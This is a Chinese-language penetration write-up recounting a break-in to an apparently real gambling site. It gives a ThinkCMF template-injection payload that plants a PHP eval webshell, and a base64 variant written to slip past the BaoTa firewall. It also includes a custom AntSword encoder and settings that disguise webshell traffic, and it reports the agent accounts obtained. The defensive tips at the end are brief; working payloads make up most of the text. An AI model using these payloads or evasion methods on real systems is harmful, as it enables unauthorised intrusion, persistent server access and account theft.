记一次绕过宝塔防火墙的BC站渗透
字数 968 2025-08-06 08:35:44

绕过宝塔防火墙渗透测试技术文档

0x00 信息收集阶段

  1. 目标分析

    • 主站存在云WAF,测试即触发封禁
    • 转战分站寻找突破口
    • 发现一个查询代理账号的分站,输入/admin自动跳转后台
  2. 技术识别

    • 通过URL参数特征初步判断为ThinkCMF框架

0x01 获取WebShell

  1. 利用ThinkCMF RCE漏洞

    • 漏洞利用Payload:
      ?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('test1.php','<?php @eval($_POST[zero])?>')</php>
      
    • 执行后出现白屏,表明可能执行成功
    • 验证:访问test1.php确认WebShell存在
  2. 连接问题

    • 蚁剑直接连接失败
    • 手动测试phpinfo()确认存在宝塔防火墙拦截

0x02 绕过宝塔防火墙

  1. 绕过原理

    • 宝塔防火墙对特定函数和关键字进行过滤
    • 采用Base64编码混淆流量
  2. 改造WebShell

    • 新版WebShell代码:
      <?php @eval(base64_decode($_POST[zero]));?>
      
    • 测试Payload:cGhwaW5mbygpOw==(phpinfo()的Base64编码)
  3. 验证绕过

    • 成功执行phpinfo(),确认绕过有效

0x03 蚁剑配置优化

  1. 问题分析

    • 默认Base64编码器不适用
    • 蚁剑流量特征明显:
      • User-Agent包含"antSword/v2.1"
      • 参数中包含evalbase64_decode等关键字
  2. 自定义编码器

    • PHP编码器代码:
      'use strict';
      module.exports = (pwd, data, ext={}) => {
        data[pwd] = Buffer.from(data['_']).toString('base64');
        delete data['_'];
        return data;
      }
      
  3. 配置调整

    • 修改User-Agent头
    • 选择"增加垃圾数据"和"Multipart发包"选项
    • 应用自定义编码器

0x04 后续渗透问题

  1. 目录访问限制

    • 蚁剑存在跨目录限制
    • 解决方案:上传哥斯拉WebShell
    • 注意:GET传参有长度限制和特殊字符问题
  2. 成果评估

    • 获取多个代理账号
    • 未发现主站相关敏感信息

技术要点总结

  1. 关键绕过技术

    • 双重Base64编码(WebShell解码+传输编码)
    • 流量特征消除
  2. 工具优化要点

    • 自定义编码器开发
    • UA头修改
    • 流量混淆技术
  3. 防御建议

    • 定期更新框架补丁
    • 实施多层级WAF策略
    • 监控异常Base64编码流量
    • 限制模板文件执行权限

附录:完整Payload示例

  1. 初始WebShell写入

    /index.php?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('shell.php','<?php @eval(base64_decode($_POST[cmd]));?>')</php>
    
  2. 执行命令

    • POST数据:cmd=Y21kPSd3aG9hbWknOw==(对应cmd='whoami';
  3. 蚁剑配置

    • 编码器:选择上述自定义编码器
    • 请求配置:启用随机参数和Multipart
绕过宝塔防火墙渗透测试技术文档 0x00 信息收集阶段 目标分析 : 主站存在云WAF,测试即触发封禁 转战分站寻找突破口 发现一个查询代理账号的分站,输入 /admin 自动跳转后台 技术识别 : 通过URL参数特征初步判断为ThinkCMF框架 0x01 获取WebShell 利用ThinkCMF RCE漏洞 : 漏洞利用Payload: 执行后出现白屏,表明可能执行成功 验证:访问 test1.php 确认WebShell存在 连接问题 : 蚁剑直接连接失败 手动测试 phpinfo() 确认存在宝塔防火墙拦截 0x02 绕过宝塔防火墙 绕过原理 : 宝塔防火墙对特定函数和关键字进行过滤 采用Base64编码混淆流量 改造WebShell : 新版WebShell代码: 测试Payload: cGhwaW5mbygpOw== (phpinfo()的Base64编码) 验证绕过 : 成功执行phpinfo(),确认绕过有效 0x03 蚁剑配置优化 问题分析 : 默认Base64编码器不适用 蚁剑流量特征明显: User-Agent包含"antSword/v2.1" 参数中包含 eval 和 base64_decode 等关键字 自定义编码器 : PHP编码器代码: 配置调整 : 修改User-Agent头 选择"增加垃圾数据"和"Multipart发包"选项 应用自定义编码器 0x04 后续渗透问题 目录访问限制 : 蚁剑存在跨目录限制 解决方案:上传哥斯拉WebShell 注意:GET传参有长度限制和特殊字符问题 成果评估 : 获取多个代理账号 未发现主站相关敏感信息 技术要点总结 关键绕过技术 : 双重Base64编码(WebShell解码+传输编码) 流量特征消除 工具优化要点 : 自定义编码器开发 UA头修改 流量混淆技术 防御建议 : 定期更新框架补丁 实施多层级WAF策略 监控异常Base64编码流量 限制模板文件执行权限 附录:完整Payload示例 初始WebShell写入 : 执行命令 : POST数据: cmd=Y21kPSd3aG9hbWknOw== (对应 cmd='whoami'; ) 蚁剑配置 : 编码器:选择上述自定义编码器 请求配置:启用随机参数和Multipart